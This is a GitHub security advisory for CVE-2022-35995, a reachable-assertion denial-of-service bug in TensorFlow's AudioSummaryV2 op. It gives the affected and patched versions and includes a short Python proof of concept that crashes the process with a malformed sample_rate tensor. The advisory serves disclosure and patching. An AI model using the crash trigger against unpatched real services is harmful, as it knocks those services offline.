GitHub Advisoryadvisory · PyPI
GHSA-g9h5-vr8m-x2h4 TensorFlow vulnerable to `CHECK` fail in `AudioSummaryV2`
MEDIUM
Official page ↗
- Aliases
- CVE-2022-35995
- Ecosystem
- PyPI
- Packages
- tensorflow, tensorflow-cpu, tensorflow-gpu
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
- Weaknesses
- CWE-617
- Reviewed
- 2022-09-16
Affected packages
• PyPI tensorflow: < 2.7.2 → fixed in 2.7.2
• PyPI tensorflow: >= 2.8.0, < 2.8.1 → fixed in 2.8.1
• PyPI tensorflow: >= 2.9.0, < 2.9.1 → fixed in 2.9.1
• PyPI tensorflow-cpu: < 2.7.2 → fixed in 2.7.2
• PyPI tensorflow-cpu: >= 2.8.0, < 2.8.1 → fixed in 2.8.1
• PyPI tensorflow-cpu: >= 2.9.0, < 2.9.1 → fixed in 2.9.1
• PyPI tensorflow-gpu: < 2.7.2 → fixed in 2.7.2
• PyPI tensorflow-gpu: >= 2.8.0, < 2.8.1 → fixed in 2.8.1
• PyPI tensorflow-gpu: >= 2.9.0, < 2.9.1 → fixed in 2.9.1
Description
Impact
When `AudioSummaryV2` receives an input `sample_rate` with more than one element, it gives a `CHECK` fails that can be used to trigger a denial of service attack.
```python
import tensorflow as tf
arg_0=''
arg_1=tf.random.uniform(shape=(1,1), dtype=tf.float32, maxval=None)
arg_2=tf.random.uniform(shape=(2,1), dtype=tf.float32, maxval=None)
arg_3=3
arg_4=''
tf.raw_ops.AudioSummaryV2(tag=arg_0, tensor=arg_1, sample_rate=arg_2,
max_outputs=arg_3, name=arg_4)
```
Patches
We have patched the issue in GitHub commit bf6b45244992e2ee543c258e519489659c99fb7f.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by 刘力源, Information System & Security and Countermeasures Experiments Center, Beijing Institute of Technology.
Related
Alias · CVE (1)
- CVE-2022-35995 TensorFlow is an open source platform for machine learning. vulnerability
Weakness · CWE (1)
- CWE-617 Reachable Assertion weakness
References
- https://github.com/tensorflow/tensorflow/security/advisories/GHSA-g9h5-vr8m-x2h4 web
- https://nvd.nist.gov/vuln/detail/CVE-2022-35995 advisory
- https://github.com/tensorflow/tensorflow/commit/bf6b45244992e2ee543c258e519489659c99fb7f web
- https://github.com/tensorflow/tensorflow package
- https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0 web